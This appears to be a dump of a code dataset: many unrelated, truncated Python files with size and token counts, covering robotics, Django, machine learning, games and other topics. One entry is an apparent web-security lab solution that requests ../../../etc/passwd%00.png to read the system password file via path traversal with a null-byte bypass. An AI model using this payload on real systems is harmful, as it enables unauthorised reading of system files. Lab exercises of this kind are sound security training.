text
string
size
int64
token_count
int64
# Copyright 2014 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
2,045
632
# PLAYER class player: def __init__(self):
57
21
# Copyright 2022 ConvolutedDog (https://github.com/ConvolutedDog/) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
48,440
22,138
import torch class FGM(object): """ 基于FGM算法的攻击机制 Args: module (:obj:`torch.nn.Module`): 模型 Examples:: >>> # 初始化 >>> fgm = FGM(module) >>> for batch_input, batch_label in data: >>> # 正常训练 >>> loss = module(batch_input, batch_label) >>> ...
4,372
1,588
import cv2 import torch import yaml import imageio import throttle import numpy as np import matplotlib.pyplot as plt from argparse import ArgumentParser from skimage.transform import resize from scipy.spatial import ConvexHull from modules.generator import OcclusionAwareGenerator from modules.keypoint_detector import...
5,790
2,168
from __future__ import absolute_import, division, print_function from .controlPDEProblem import ControlPDEProblem from .controlPDEProblemMultiPDE import ControlPDEProblemMultiPDE from .costFunctionalConstant import CostFunctionalConstant from .costFunctionalConstantMultiPDE import CostFunctionalConstantMultiPDE from ....
1,735
478
import numpy as np from albumentations import (Compose, HorizontalFlip, VerticalFlip, Rotate, RandomRotate90, ShiftScaleRotate, ElasticTransform, GridDistortion, RandomSizedCrop, RandomCrop, CenterCrop, RandomBrightnessContrast, HueSatu...
2,402
845
# -*- coding: utf-8 -*- from math import sqrt class Point(object): __slots__ = ('x', 'y', 'z') def __init__(self, x, y, z): self.x = x self.y = y self.z = z def __eq__(self, other): return (self.x == other.x and self.y == other.y and self.z == other.z) def __repr__...
13,017
3,866
from django.contrib.auth import get_user_model from django.test import TestCase from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient # use that for making our API requests from core.models import Recipe, Tag, Ingredient from ..serializers import RecipeSerializer...
16,661
4,915
# Assignment 1 Day 8 # write a decorator function for taking input for you # any kind of function you want to build def getInput(calculate_arg_fuc): def wrap_function(): print("Enter two numbers ") a=int(input("Enter first number = ")) b=int(input("Enter second number = ")) ...
1,089
387
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ Defines coordinate frames and ties them to data axes. """ from __future__ import absolute_import, division, unicode_literals, print_function import numpy as np from astropy import units as u from astropy import utils as astutil from astropy import coo...
11,646
3,275
import lx import modo import select import item from run import run class ChannelModifierUtils(object): @classmethod def attachModifierToItem(cls, modifierModoItem, hostModoItem): """ Allows for attaching modifier to locator type item. Attached item will show up under the locator ...
4,286
1,164
from brownie import FundMe from scripts.helpful_scripts import get_account def fund(): fund_me = FundMe[-1] account = get_account() entrance_fee = fund_me.getEntranceFee() print(f"entrance is {entrance_fee}") print("funding..") fund_me.fund({"from": account, "value": entrance_fee}) def withd...
500
178
# Um professor quer sortear um dos seus quatro alunos para apagar o quadro. Faça um programa que ajude ele, lendo o nome dos alunos e escrevendo na tela o nome do escolhido. from random import choice nome1 = input('Digite um nome: ') nome2 = input('Digite outro nome: ') nome3 = input('Digite mais um nome: ') nome4 = ...
409
135
from django.contrib import admin from .models import Categoria, Contact class ContactAdmin(admin.ModelAdmin): list_display = ('id', 'name', 'last_name', 'phone', 'email', 'creation_date', 'categoria', 'show') list_display_links = ('id', 'name', 'last_name') list_filter = ('categoria',) list_per_page =...
489
164
import datetime import os import shutil import tempfile from joblib import Parallel, delayed from fastpic_upload import upload_file_to_fastpic _n_jobs_for_upload = 20 _root_folders_set = ( '/path/to/folder', ) _spoiler_for_each_file = True def process_one_pic(result_key, pic_path, tmp_dir): pic_url, pic_l...
2,472
859
""" Copyright (c) 2018-2022 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wri...
1,994
573
# Copyright 2013 Donald Stufft and individual contributors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
1,925
876
def unlock(m): return m.lower().translate( str.maketrans( 'abcdefghijklmnopqrstuvwxyz', '22233344455566677778889999' ) )
266
85
#! /home/cha0snation/anaconda3/bin/python import random def setup(): words = ["banana", "apple", "orange", "peach", "grape", "watermelon"] output = [] word = words[random.randint(0, len(words) - 1)] playing = True tries = 5 return [words, output, word, tries, playing] def check_finished(out...
2,893
806
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Created on Dec 8, 2019 .. codeauthor: svitlana vakulenko <svitlana.vakulenko@gmail.com> Index docs into ES https://qbox.io/blog/building-an-elasticsearch-index-with-python ''' from settings import * import glob import re # n first characters for the doc preview L...
2,131
700
""" A Token is a button or other object on the table that represents a position, a game state, layer state, or some other piece of info """ class Token(object): def __init__(self, name, table): self.table = table self.name = name self.seat = None
277
78
nis=get('nis') q1="xpto1" q2=nis + "xpto2" query=query1.q2 koneksi=0 q=execute(query,koneksi)
95
56
def nearest_mid(input_list, lower_bound_index, upper_bound_index, search_value): return lower_bound_index + ( (upper_bound_index - lower_bound_index) // (input_list[upper_bound_index] - input_list[lower_bound_index]) ) * (search_value - input_list[lower_bound_index]) def interpolation_search(o...
1,089
368
from django.db import models from django.db.models import Q from django.contrib.auth.models import User from django.urls import reverse class ProjectQuerySet(models.QuerySet): def projects_per_user(self, user): return self.filter( Q(project_owner=user.username) ) class Projects(model...
715
215
import os import unittest from checkov.serverless.checks.function.aws.AdminPolicyDocument import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestAdminPolicyDocument(unittest.TestCase): def test_summary(self): runner = Runner() current_di...
1,164
359
#!/usr/bin/python3 # encoding: utf-8 import os import sys import getopt import logging import shutil import psutil from modules.com_run import ComGenerator from modules.web_server import ListenServer from modules.Wlisten_server import WListenServer from modules.payload_builder_factory import PayloadBuilderFactory from...
13,752
4,059
import os MODELS_PATH = os.path.join(os.path.dirname(__file__), "models") YOLO_SIZE = 288 YOLO_TARGET = 9 CORRECTOR_SIZE = 50
137
72
# Load json bulk files into elasticsearch import json import os import time import traceback import elasticsearch from etl.common.store import list_entity_files from etl.common.utils import get_folder_path, get_file_path, create_logger, first, replace_template class ElasticSearchException(Exception): pass # I...
6,148
1,844
""" This module defines the ``geoplot`` coordinate reference system classes, wrappers on ``cartopy.crs`` objects meant to be used as parameters to the ``projection`` parameter of all front-end ``geoplot`` outputs. For the list of Cartopy CRS objects this module derives from, refer to http://scitools.org.uk/cartopy/docs...
6,798
1,811
from .default_handler import StoresHandler class ATTStoresHandler(StoresHandler): def handle_request(self, **kwargs): kwargs.update({'provider': 'att'}) return super(ATTStoresHandler, self).handle_request(**kwargs) def get_url(self, **kwargs): lat = float(kwargs.get('lat')) lo...
581
203
#Leia o ano de nascimento de 7 pessoas e mostre quantas ja atingiram a maioridade e quantas ainda não for c in range(1,8): p=int(input('Qual o ano de seu nascimento? ')) a=2021-p if a>= 18: print('A pessoa numero {} já é maior de idade'.format(c)) else: print('A pessoa numero {} não é...
349
128
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Provide function to calculate SDE distance @auth: Jungang Zou @date: 2021/05/05 """ def SDE(front, values1, values2): shifted_dict = {} for i in front: shifted_dict[i] = [(values1[i], values2[i])] shifted_list = [] for j in front: ...
559
201
# -*- encoding=utf8 -*- __author__ = "pscly" from airtest.core.api import * from airtest.cli.parser import cli_setup # from douyin import * if not cli_setup(): auto_setup(__file__, logdir=True, devices=[ "android://127.0.0.1:5037/decc8da3?cap_method=MINICAP_STREAM&&ori_method=MINICAPORI&&touch_method=...
1,361
668
from common_fixtures import * # NOQA import websocket as ws import pytest def get_logs(client): hosts = client.list_host(kind='docker', removed_null=True) assert len(hosts) > 0 in_log = random_str() cmd = '/bin/bash -c "echo {}; sleep 2"'.format(in_log) c = client.create_container(image=TEST_IMAG...
1,183
426
'''ResNet using PSG in PyTorch. For Pre-activation ResNet, see 'preact_resnet.py'. Reference: [1] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun Deep Residual Learning for Image Recognition. arXiv:1512.03385 ''' from numpy.lib.arraysetops import isin import torch import torch.nn as nn import torch.nn.functiona...
13,717
5,274
from pyspark.sql import Row from snorkel.labeling.lf import labeling_function from snorkel.labeling.lf.nlp_spark import spark_nlp_labeling_function from snorkel.preprocess import preprocessor from drybell_lfs import load_celebrity_knowledge_base ABSTAIN = -1 NEGATIVE = 0 POSITIVE = 1 @preprocessor() def combine_tex...
1,090
401
## # @file discrete_spectral_transform.py # @author Yibo Lin # @date Jun 2018 # import os import sys import numpy as np import torch import torch.nn.functional as F import pdb """ Discrete spectral transformation leveraging fast fourier transform engine. The math here mainly uses Prosthaphaeresis properties. The ...
15,465
6,423
import unittest, random, sys, time sys.path.extend(['.','..','py']) import h2o, h2o_cmd, h2o_hosts, h2o_browse as h2b, h2o_import as h2i, h2o_exec as h2e, h2o_glm import h2o_util zeroList = [ 'Result0 = 0', ] # the first column should use this exprList = [ 'Result<n> = sum(<keyX>[<col1>])', ] DO_S...
8,667
2,613
"""Provides all database and table structures used for the influx database. Classes: Datatype Database Table RetentionPolicy """ from __future__ import annotations from enum import Enum, unique import re import json from typing import Any, Dict, List, Set, Tuple, Union import influx.influx_queries as ...
14,441
3,903
""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2011 Dann Martens This file is part of SleekXMPP. See the file LICENSE for copying permission. """ from sleekxmpp.plugins.xep_0009.remote import Endpoint, remote, Remote, \ ANY_ALL import threading class Thermostat(Endpoint): def FQN(s...
1,145
388
import cv2 import time import socket import threading class Response(object): def __init__(self): pass def recv(self, data): pass def pop(self): pass def empty(self): pass class Command(Response): def __init__(self): super(Command, self).__init__() ...
11,868
3,766
# terrascript/resource/sematext.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:26:36 UTC) # # For imports without namespace, e.g. # # >>> import terrascript.resource.sematext # # instead of # # >>> import terrascript.resource.sematext.sematext # # This is only available for 'official' and 'partne...
388
142
#!/usr/bin/env python3 import tensorflow as tf physical_devices = tf.config.list_physical_devices('GPU') try: tf.config.experimental.set_memory_growth(physical_devices[0], True) except: # Invalid device or cannot modify virtual devices once initialized. pass import numpy as np import os, time, csv import ...
5,779
1,931
from __future__ import absolute_import, division, print_function import logging import docker import tempfile import requests from requests.exceptions import RequestException import json import pprint import time import re import os import tarfile import sys from cloudpickle import CloudPickler import pickle import num...
22,351
6,448
import random import numpy import copy class Graph: """n表示图中点的个数,m表示图中边的个数""" def __init__(self, n, m, edge_weight=1, directed=True, connected='weak', loop=False, weighted=False, trim=True): """ n 图中点的个数 m 图中边的个数 edge_weight 边的权值上限 directed 有向性 connected 连通性 loop 有环性 weighted 带权性 trim ...
2,515
1,316
"""This module provides a console interface to convert CSV to Google Sheets.""" from csv2googlesheets.gapi_authorization import auth_with_google from csv2googlesheets.gapi_create_sheet import create_sheet from csv2googlesheets.gapi_write_to_sheet import write_to_sheet from csv2googlesheets.parse_file import build_spr...
970
315
from netforce.model import get_model from netforce import migration from netforce import database class Migration(migration.Migration): _name="account.credit_remain_cur" _version="2.5.0" def migrate(self): db=database.get_connection() db.execute("UPDATE account_invoice SET amount_credit_re...
450
140
# -*- coding: utf-8 -*- # Copyright (c) 2011 Adi Roiban. # See LICENSE for details. """ TestCase used for Chevah project. """ from __future__ import print_function from __future__ import division from __future__ import absolute_import from six import text_type from six.moves import range import contextlib import inspec...
48,451
13,433
import time class Snowflake: def __init__(self, init_serial_no=0): self.machine_id = 0 self.epoch = 0 self.serial_no = init_serial_no def generate(self): unique_id = ( ((int(time.time() * 1000) - self.epoch) & 0x1FFFFFFFFFF) << 22 | (self.machine_id & 0...
434
166
from metarl.tf.plotter.plotter import Plotter __all__ = ['Plotter']
69
27
from keras import layers # Single-layer LSTM model for next-character prediction model = keras.models.Sequential() model.add(layers.LSTM(128, input_shape=(maxlen, len(chars)))) model.add(layers.Dense(len(chars), activation='softmax')) # Model compilation configuration optimizer = keras.optimizers.RMSprop(lr=0.01) mod...
1,912
643
import io import unittest import numpy as np class TestGraphicalLasso(unittest.TestCase): """Basic test cases.""" def _getTarget(self): from pyanom.structure_learning import GraphicalLasso return GraphicalLasso def _makeOne(self, *args, **kwargs): return self._getTarget()(*args,...
4,962
2,384
""" Example of ModECI MDF - Testing state variables """ from modeci_mdf.mdf import * import sys def main(): mod = Model(id="States") mod_graph = Graph(id="state_example") mod.graphs.append(mod_graph) ## Counter node counter_node = Node(id="counter_node") p1 = Parameter(id="increment", v...
2,610
888
''' Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this ...
8,958
2,941
# Tools for cross-matching catalogs import csv import sys import os import os.path import platform import shutil import subprocess import tempfile import warnings WIN32= platform.system() == 'Windows' import numpy import astropy.coordinates as acoords from astropy.table import Table from astropy import units as u fro...
20,118
6,608
from typing import Dict, List, Tuple import gym import ray from ray.rllib.agents.a3c.a3c_torch_policy import apply_grad_clipping from ray.rllib.agents.dqn.dqn_tf_policy import ( PRIO_WEIGHTS, Q_SCOPE, Q_TARGET_SCOPE, postprocess_nstep_and_prio) from ray.rllib.agents.dqn.dqn_torch_model import DQNTorchModel from ra...
14,873
4,993
from .lit_explorer import * from .pdf_wrangling import *
57
20
""" funktsioonid.py Funktsioonide ja protseduuride kasutamine """ # # Protseduur # def minu_funktsioon(): print("See on protseduur") # Kutsume funktsiooni välja minu_funktsioon() # # Funktsioon # def liida(num1, num2): return num1 + num2 sum = liida(3, 5) print(sum) # Näide vaikeväärtuste kasutamisest # ...
6,197
2,847
# -*- coding: utf-8 -*- ''' Tests for the file state ''' # Import python libs from __future__ import absolute_import import errno import os import textwrap import tempfile # Import Salt Testing libs from tests.support.case import ModuleCase from tests.support.paths import TMP_STATE_TREE from tests.support.mixins impor...
6,865
2,130
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 1999-2018 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-...
2,591
845
import torch import torch.nn as nn import torch.nn.functional as F from fastgc.model.penet import PeGradNet from fastgc.layers.linear import Linear from fastgc.activation import activation class MLP(PeGradNet): def __init__(self, input_size, hidden_sizes, output_size, act_func='sigmoid', train_al...
1,689
490
""" Homework 2: Higher Order Functions""" HW_SOURCE_FILE = 'hw02.py' from operator import add, mul, sub square = lambda x: x * x identity = lambda x: x triple = lambda x: 3 * x increment = lambda x: x + 1 ###################### # Required Questions # ###################### def product(n, f): """Return the pr...
5,318
2,084
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompa...
21,659
6,301
from acceptance.harness.acceptance_test import WatchdogAcceptanceTest class TestStartStopFeature(WatchdogAcceptanceTest): def test_willStartObserverWhenWatchdogStarted(self): self.create_and_start_watchdog() self.assertTrue(self.fs_observer.running) def test_willStopObserverWhenWatchdogStop...
638
197
import torch import torchtestcase from neural_spline_flows.nde.transforms import base class TransformTest(torchtestcase.TorchTestCase): """Base test for all transforms.""" def assert_tensor_is_good(self, tensor, shape=None): self.assertIsInstance(tensor, torch.Tensor) self.assertFalse(torch....
1,243
386
""" https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass """ import sys import requests site = sys.argv[1] if 'https://' in site: site = site.rstrip('/').lstrip('https://') url = f'''https://{site}/image?filename=../../../etc/passwd%00.png''' s = requests.Session...
358
135
#!/usr/bin/python3.6 # -*- coding: utf-8 -*- # @Time : 2020/9/3 上午11:03 # @Author : Joselynzhao # @Email : zhaojing17@forxmail.com # @File : atmpro1_vsm2.py # @Software: PyCharm # @Desc : #!/usr/bin/python3.6 # -*- coding: utf-8 -*- # @Time : 2020/9/1 下午7:07 # @Author : Joselynzhao # @Email : zhaojin...
10,237
4,048
# Copyright (C) 2019 by eHealth Africa : http://www.eHealthAfrica.org # # See the NOTICE file distributed with this work for additional information # regarding copyright ownership. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with # the License. Y...
6,252
2,131
import os database_url = os.environ.get('DATABASE_URL')
57
21
#!/usr/bin/env python # coding: utf-8 # In[ ]: #List and function # In[6]: # empty list my_list = [] # list of integers my_list = [1, 2, 3] # list with mixed data types my_list = [1, "Hello", 3.4] # In[7]: # nested list my_list = ["mouse", [8, 4, 6], ['a']] # In[11]: # List indexing my_list = ['p', '...
3,437
1,538
def pickingNumbers(a): # Write your code here max = 0 for i in a: c = a.count(i) d = a.count(i-1) e = c+d if e>max: max = e return max
195
74
from datetime import date from six import BytesIO, binary_type, u from six.moves.urllib.parse import parse_qsl, urlencode from unittest2 import TestCase import mock from authorizesauce.apis.transaction import PROD_URL, TEST_URL, TransactionAPI from authorizesauce.data import Address, CreditCard from authorizesauce.e...
9,656
3,761
expected_output = { "vrf": { "VRF1": { "address_family": { "ipv6": { "instance": { "rip ripng": { "redistribute": { "static": {"route_policy": "static-to-rip"}, ...
678
163
import csv import io import json import pandas as pd import sys from dateutil import tz from datetime import datetime, date, time, timedelta # Japan Standard Time (UTC + 09:00) JST = tz.gettz('Asia/Tokyo') JST_current_time = datetime.now(tz=JST).strftime('%Y/%m/%d %H:%M') patients_list = [] patients_summary_dic = {}...
2,621
1,091
import torch from ....data.utils.boxes import centroids2corners, iou def matching_strategy(targets, dboxes, **kwargs): """ :param targets: Tensor, shape is (batch*object num(batch), 1+4+class_labels) :param dboxes: shape is (default boxes num, 4) IMPORTANT: Note that means (cx, cy, w, h) :param kw...
6,633
2,316
""" Flatpath, go forward forever. http://codeincomplete.com/posts/javascript-racer/ http://www.extentofthejam.com/pseudo/ http://pixel.garoux.net/screen/game_list Usage: * UP/DOWN/LEFT/RIGHT * SPACE : hide/show road map * TAB : replay this road * RETURN : go to a new road TODO: * hill road * more road sprites * soun...
68,026
26,801
#!/usr/bin/env python sw1_show_cdp_neighbors = ''' SW1>show cdp neighbors Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone Device ID Local Intrfce Holdtme Capability Platform ...
9,197
3,824
"""Routines for numerical differentiation.""" from __future__ import division import numpy as np from numpy.linalg import norm from scipy.sparse.linalg import LinearOperator from ..sparse import issparse, csc_matrix, csr_matrix, coo_matrix, find from ._group_columns import group_dense, group_sparse EPS = np.finfo(n...
23,732
7,625
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
20,303
6,852
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
20,142
7,725
import boto3 batch_client = boto3.client('batch') def lambda_handler(event, context): describe_response = batch_client.describe_jobs( jobs=[ event.get('jobId', '')] ) return describe_response.get('jobs', [{}])[0].get('status', '')
246
88
from flask import Blueprint, render_template, redirect, url_for, request, flash from flask.ext.login import login_required, login_user, logout_user from werkzeug import check_password_hash, generate_password_hash from app import db, login_manager, pubnub, app, _callback from .models import User from .forms import Logi...
2,914
846
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-04-06 06:02 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('economist', '0002_auto_20170406_1153'), ] operations = [ migrations.AlterFi...
1,595
463
import unittest from coinplus_solo_redeem.common import wif_export_bitcoin, compute_public_key_sec256k1, address_from_publickey_ethereum class TestEthereum(unittest.TestCase): """test of the bitcoin conversion from private key to wif""" def setUp(self): self.test_add_vector = [("03cb3e5f30245658e1e3615...
2,051
1,230
#!usr/bin/python # -*- coding:utf8 -*- # 列表生成式(列表推导式) # 1. 提取出1-20之间的奇数 # odd_list = [] # for i in range(21): # if i % 2 == 1: # odd_list.append(i) # odd_list = [i for i in range(21) if i % 2 == 1] # print(odd_list) # 2. 逻辑复杂的情况 如果是奇数将结果平方 # 列表生成式性能高于列表操作 def handle_item(item): return item * item odd...
776
427
import ast import operator import re from collections import OrderedDict from functools import partial from ..cache import Cache from ..exceptions import PluginError, NoStreamsError from ..options import Options # FIXME: This is a crude attempt at making a bitrate's # weight end up similar to the weight of a resolut...
11,409
3,369
# This file is part of the Reference Data Repository (refdata). # # Copyright (C) 2021 New York University. # # refdata is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Fixtures for testing the command-line interface.""" import os i...
998
314
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import logging import math from typing import Any, Dict import numpy as np from classy_vision.dataset.transforms import register_transform from classy_vision.dataset.transforms.classy_transform import ClassyTransform @register_transform("ImgPatc...
2,971
921
#!/usr/bin/python3 # *************************************************************** # Copyright (c) 2022 Jittor. All Rights Reserved. # Maintainers: # Dun Liang <randonlang@gmail.com>. # # This file is subject to the terms and conditions defined in # file 'LICENSE.txt', which is part of this source code packag...
1,783
698
import argparse from helper.metaclasses_definition import Singleton class CliArgs(metaclass=Singleton): LogLevel = None BankName = None InputFilepath = None @staticmethod def init(): my_parser = argparse.ArgumentParser() my_parser.add_argument('--bank-name', required=True) ...
588
187
from setuptools import setup PLUGIN_NAME = "papermill" microlib_name = f"flytekitplugins-{PLUGIN_NAME}" plugin_requires = [ "flytekit>=0.16.0b0,<1.0.0", "flytekitplugins-spark>=0.16.0b0,<1.0.0,!=0.24.0b0", "papermill>=1.2.0", "nbconvert>=6.0.7", "ipykernel>=5.0.0", ] __version__ = "0.0.0+develop...
1,237
440
#!/usr/bin/env python input = 368078 size = 1 s_size = size * size # squared size while (s_size < input): size += 2 s_size = size * size bottom_right = s_size bottom_left = s_size - size + 1 top_left = s_size - 2 * size + 2 top_right = s_size - 3 * size + 3 input_x = -1 input_y = -1 # bottom horizontal lin...
705
295
import copy import numpy as np from racer.utils import load_pickle from racer.methods.genetic_programming.program_tree import ProgramTree class ParameterizedTree(ProgramTree): # This makes the assumption that all children of the underlying tree are in a field .children and that the underlying tree has the field ....
2,981
852
# -*- coding: utf-8 -*- """ """ import os import markdown2 from flask import (Blueprint, request, render_template, flash, g, session, redirect, url_for, abort, Markup) ...
10,568
3,137
import pyttsx3 import datetime import speech_recognition as sr import wikipedia import webbrowser import os import smtplib engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) # To change the voice to female change 0 to 1. def speak(au...
2,949
1,203
""" Ory Kratos API Documentation for all public and administrative Ory Kratos APIs. Public and administrative APIs are exposed on different ports. Public APIs can face the public internet without any protection while administrative APIs should never be exposed without prior authorization. To protect the admini...
7,323
2,198
from .grandexchange import GrandExchange, GameItemNotFound, GameItemParseError from .item import Item from .priceinfo import PriceInfo from .pricetrend import PriceTrend
171
47
import pandas as pd import os import numpy as np import cv2 from utils import constants as const import matplotlib.pyplot as plt class DataLoader: def load_data(): ''' This function is handling the data loading and pre-processing :return: (xtrain, ytrain), (xtest, ytest) ''' ...
2,838
906
from lexer import * import sys if len(sys.argv) != 2: print("usage: main.py file") else: lex = Lexer(sys.argv[1]) with open(sys.argv[1]) as f: while True: c = f.read(1) if not c: break print(lex.scan().toString())
288
99